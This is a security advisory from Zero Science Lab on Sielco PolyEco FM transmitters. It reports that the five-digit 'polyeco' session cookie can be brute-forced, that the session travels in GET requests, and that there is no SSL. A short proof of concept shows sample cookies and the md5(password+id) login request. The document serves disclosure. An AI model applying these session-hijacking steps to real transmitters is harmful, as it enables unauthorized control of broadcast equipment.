Sielco PolyEco Digital FM Transmitter 2.0.6 Cookie Brute Force

`  
Sielco PolyEco Digital FM Transmitter 2.0.6 'polyeco' Session Hijacking  
  
  
Vendor: Sielco S.r.l  
Product web page: https://www.sielco.org  
Affected version: PolyEco1000 CPU:2.0.6 FPGA:10.19  
PolyEco1000 CPU:1.9.4 FPGA:10.19  
PolyEco1000 CPU:1.9.3 FPGA:10.19  
PolyEco500 CPU:1.7.0 FPGA:10.16  
PolyEco300 CPU:2.0.2 FPGA:10.19  
PolyEco300 CPU:2.0.0 FPGA:10.19  
  
Summary: PolyEco is the innovative family of high-end digital  
FM transmitters of Sielco. They are especially suited as high  
performance power system exciters or compact low-mid power  
transmitters. The same cabinet may in fact be fitted with 50,  
100, 300, 500, 1000W power stage (PolyEco50, 100, 300, 500,  
1000).  
  
All features can be controlled via the large touch-screen display  
4.3" or remotely. Many advanced features are inside by default  
in the basic version such as: stereo and RDS encoder, audio  
change-over, remote-control via LAN and SNMP, "FFT" spectral  
analysis of the audio sources, SFN synchronization and much more.  
  
Desc: The Cookie 'polyeco' is of an insufficient length and can be  
exploited by brute force, which may allow a remote attacker to obtain  
a valid session, bypass authentication and manipulate the transmitter.  
The session is also visible in an HTTP GET request and there is the  
lack of SSL in use, allowing MitM attacks.  
  
Tested on: lwIP/2.1.1 (http://savannah.nongnu.org/projects/lwip)  
  
  
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic  
Macedonian Information Security Research and Development Laboratory  
Zero Science Lab - https://www.zeroscience.mk - @zeroscience  
  
  
Advisory ID: ZSL-2023-5763  
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2023-5763.php  
  
  
26.01.2023  
  
--  
  
  
# Session values (len=5)  
  
Cookie: polyeco=23770  
Cookie: polyeco=12397  
Cookie: polyeco=54689  
...  
  
  
# GET request for login (user:1234)  
  
http://RADIOFM/login.cgi?user=user&password=c494fe7ab21e23e456a89d5a09828a10&id=14810  
  
The hash = password + id = 123414810, md5(123414810) = c494fe7ab21e23e456a89d5a09828a10  
  
Once authenticated, Cookie: polyeco=14810  
`